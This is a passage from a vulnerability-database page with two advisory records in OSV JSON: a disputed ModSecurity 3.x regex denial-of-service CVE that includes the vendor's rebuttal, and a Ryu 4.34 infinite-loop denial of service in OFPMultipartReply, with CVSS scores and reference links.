  "details": "** DISPUTED ** Trustwave ModSecurity 3.x through 3.0.4 allows denial of service via a special request. NOTE: The discoverer reports \"Trustwave has signaled they are disputing our claims.\" The CVE suggests that there is a security issue with how ModSecurity handles regular expressions that can result in a Denial of Service condition. The vendor does not consider this as a security issue because1) there is no default configuration issue here. An attacker would need to know that a rule using a potentially problematic regular expression was in place, 2) the attacker would need to know the basic nature of the regular expression itself to exploit any resource issues. It\u0027s well known that regular expression usage can be taxing on system resources regardless of the use case. It is up to the administrator to decide on when it is appropriate to trade resources for potential security benefit.",
  "id": "GHSA-ff2c-wgr6-2p58",
  "modified": "2024-03-21T03:33:55Z",
  "published": "2022-05-24T17:30:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15598"
    },
    {
      "type": "WEB",
      "url": "https://coreruleset.org/20200914/cve-2020-15598"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2020/dsa-4765"
    },
    {
      "type": "WEB",
      "url": "https://www.modsecurity.org"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/159185/ModSecurity-3.0.x-Denial-Of-Service.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2020/Sep/32"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FFP9-PFQ9-G2WW

Vulnerability from github – Published: 2024-05-05 03:30 – Updated: 2024-07-03 20:14
VLAI
Summary
Ryu Infinite Loop vulnerability
Details

OFPMultipartReply in parser.py in Faucet SDN Ryu 4.34 allows attackers to cause a denial of service (infinite loop) via b.length=0.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ryu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-34488"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-06T14:32:52Z",
    "nvd_published_at": "2024-05-05T03:15:07Z",
    "severity": "HIGH"
  },
  "details": "`OFPMultipartReply` in parser.py in Faucet SDN Ryu 4.34 allows attackers to cause a denial of service (infinite loop) via `b.length=0`.",
  "id": "GHSA-ffp9-pfq9-g2ww",
  "modified": "2024-07-03T20:14:06Z",
  "published": "2024-05-05T03:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34488"
    },
    {
      "type": "WEB",
      "url": "https://github.com/faucetsdn/ryu/issues/191"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/faucetsdn/ryu"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ryu Infinite Loop vulnerability"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list